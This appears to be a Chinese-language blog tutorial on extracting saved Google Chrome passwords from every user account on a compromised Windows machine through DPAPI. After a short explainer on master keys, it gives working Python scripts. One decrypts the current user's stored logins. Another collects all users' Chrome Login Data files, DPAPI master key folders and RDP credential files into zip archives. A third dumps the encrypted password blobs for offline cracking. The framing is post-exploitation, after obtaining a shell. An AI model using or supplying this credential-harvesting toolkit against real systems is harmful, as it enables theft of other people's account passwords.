获取当前系统所有用户的谷歌浏览器密码
0x01. 知识简介
1、DPAPI
:
全称Data Protection Application Programming Interface
Windows
系统的一个数据保护接口
主要用于保护加密的数据,常见的应用如:
Internet Explorer,Google Chrome中的密码和表单
存储无线连接密码
远程桌面连接密码
Outlook,Windows Mail,Windows Mail等中的电子邮件帐户密码
内部FTP管理员帐户密码
共享文件夹和资源访问密码
Windows Credential Manager
Skype
Windows CardSpace
Windows Vault
EFS文件加密
2.、DPAPI blob
:
一段密文,可使用Master Key
对其解密
3.、Master Key
:
64字节,用于解密DPAPI blob
,使用用户登录密码、SID
和16字节随机数加密后保存在Master Key file
中
4.、Master Key file
:
a. 二进制文件,可使用用户登录密码对其解密,获得Master Key
b. 分为两种:
用户Master Key file,位于%APPDATA%\Microsoft\Protect\%SID% 存储用户的登陆密码
系统Master Key file,位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User 存储wifi等各种密码
c. 固定位置:
%APPDATA%\Microsoft\Protect%SID%
,该目录下往往有多个Master Key file
,这是为了安全起见,系统每隔90天会自动生成一个新的Master Key
(旧的不会删除)
5、 Preferred文件:
位于Master Key file
的同级目录,显示当前系统正在使用的MasterKey
及其过期时间,默认90天有效期
0x02 在线解密当前用户google浏览器下保存的密码
import os, sys
import shutil
import sqlite3
import win32crypt
db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data')
print(db_file_path)
# tmp_file = os.path.join(os.path.dirname(sys.executable), 'tmp_tmp_tmp')
tmp_file = './loginData'
print(tmp_file)
if os.path.exists(tmp_file):
os.remove(tmp_file)
shutil.copyfile(db_file_path, tmp_file)
conn = sqlite3.connect(tmp_file)
for row in conn.execute('select signon_realm,username_value,password_value from logins'):
try:
ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
print('url:%-50s username:%-20s password:%s' % (row[0], row[1], ret[1].decode('gbk')))
except Exception as e:
print('url:%-50s get Chrome password Filed...' % row[0])
pass
conn.close()
os.remove(tmp_file)
0x03. 离线导出当前系统下另一用户的Chrome密码
使用工具Windows Password Recovery
解密需要获得三部分内容:
加密密钥(即Master Key file
),位于%appdata%\Microsoft\Protect
下对应sid
文件夹下的文件
数据库文件Login Data
用户明文的密码,用于解密加密密钥
环境模拟:
环境:一台windows10
机器,里面装有谷歌浏览器,用户有administrator
和test
等等其他用户
目的:当我们拿到shell
后,当前用户是administrator
,我们想要获取test
等其他用户在当前系统保存的谷歌浏览器密码。
前提条件:需要知道test账户的明文密码,可以通过导注册表方法获取
test`的明文密码
工具:py
编译后的exe
工具
filepack.exe
执行后会获取 1. 所有用户谷歌浏览器的Login Data
文件 2. 获取所有用户的master key file
3. 获取所有用户的rdp
保存凭证(该文件用来破解RDP
,此处无用)
如下图是filepack.exe
执行的结果,会在当前目录生成三个压缩文件
goole.zip
是所有用户谷歌浏览器的Login Data
压缩包protect.zip
是所有用户的master key file
压缩包 rdp.zip
是所有用户的rdp保存凭证压缩包
filepack
源码
获取目标服务器的重要文件
import os
import shutil
import sqlite3
import win32crypt
users_dir = os.environ['userprofile'].rsplit('\\', 1)[0] ##获取users目录的路径
print(users_dir)
def search_login_data(path, name):
for root, dirs, files in os.walk(path):
if name in files:
root = str(root)
login_data_path = root + '\\' + name
return login_data_path
获取所有用户的谷歌的Login Data文件
def login_data():
print('-' * 50 + '\n' + r'[2] Get all users Google login data files:')
name = 'Login Data'
for user_name in os.listdir(users_dir):
Google_dir = users_dir + '\\' + user_name + r'\AppData\Local\Google'
print(Google_dir)
login_data_path = search_login_data(Google_dir, name)
print(login_data_path)
if login_data_path:
try:
os.makedirs('./google')
except Exception as e:
pass
dst = './google/{}logindata'.format(user_name)
shutil.copyfile(login_data_path, dst)
print('copy [{}] '.format(login_data_path))
login_data_path = ''
if os.path.isdir('google'):
shutil.make_archive("./google", 'zip', root_dir='./google')
print('[+] success! google.zip save to {}\pgoogle.zip'.format(os.getcwd()))
shutil.rmtree('./google')
获取所有用户的master key file
def master_key():
print('-' * 50 + '\n' + r'[3] Get the master key file for all users:')
for user_name in os.listdir(users_dir):
Protectdir = users_dir + '\\' + user_name + r'\AppData\Roaming\Microsoft\Protect'
if os.path.isdir(Protectdir):
shutil.make_archive("./protect/{}protect".format(user_name), 'zip',root_dir=Protectdir) # 每个用户的protect压缩为usernameprotect.zip
print('copy [{}]'.format(Protectdir))
if os.path.isdir('protect'):
shutil.make_archive("./protect", 'zip', root_dir='./protect')
print('[+] success! protect.zip save to {}\protect.zip'.format(os.getcwd()))
shutil.rmtree('./protect')
获取所有用户的rdp保存凭证
def rdp():
print('-' * 50 + '\n' + r'[4] Get RDP save credentials for all users:')
for user_name in os.listdir(users_dir):
RDPdir = users_dir + '\\' + user_name + r'\AppData\Local\Microsoft\Credentials'
if os.path.isdir(RDPdir):
shutil.make_archive("./rdp/{}rdp".format(user_name), 'zip', root_dir=RDPdir)
print('copy [{}]'.format(RDPdir))
if os.path.isdir('./rdp'):
shutil.make_archive("./rdp", 'zip', root_dir='./rdp')
print(r'[+] success! rdp.zip save to {}\rdp.zip'.format(os.getcwd()))
shutil.rmtree('./rdp')
login_data()
master_key()
rdp()
readlogindata.exe
用来读取谷歌浏览器的链接,用户名和密码(密码需要解密)
获取当前系统所有用户谷歌浏览器的密码
import sqlite3
import sys
import os
try:
os.makedirs('./password')
except Exception as e:
pass
LoginDatafile = sys.argv[1] # Login Data文件名
conn = sqlite3.connect(LoginDatafile)
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for each in cursor.fetchall():
url, username, password = each
print('[{}] [username:{}] [password:需要解密]'.format(url, username))
with open('./password/{}password.txt'.format(username), 'ab') as f1, open('./password/urluserpwd.txt', 'at') as f2:
f1.write(each[2])
f2.writelines('url: {}\nusername: {}\npassword: \n{}\n'.format(url, username, '-'*50))
下图是保存所有用户谷歌浏览器的Login Data
压缩包,login_data
前缀是用户名,比如是administrator
和test
用户
下图是保存所有用户的master key file
压缩包,protect
前缀是用户名,比如是administrator
和test
和fskldfn
用户
将压缩包解压后,使用readloigndata.exe
去读取login data
文件。
此处以test
用户举例
此处是将test
用户的谷歌浏览器内容读取出来
因为不是当前用户,所以密码是密文需要解密。密文密码保存在当前目录的password
目录下
_password.txt
前缀是谷歌浏览器每个链接的用户名
urluserpwd.txt
是谷歌浏览器所有保存的链接、账号、密码
接下来使用wpr
工具解密每个_password.txt
,下载地址:
https://www.passcape.com/index.php?section=downloads&category=28
设置DPAPI blob file
指向上述步骤生成的test
用户的txt
文件,然后点击下一步
设置Master Key File
指向test
用户的master key
选择是
输入test
用户的明文,点击下一步,选择确定
成功读取到密码,该密码就是下面链接对应的密码。
url: http://192.168.1.3/DVWA-master/login.php username: admin password:
同理可以去读取root账号对应的密码!
三个exe我放在资源里了,备用吧。
参考文章:
https://cloud.tencent.com/developer/article/1512066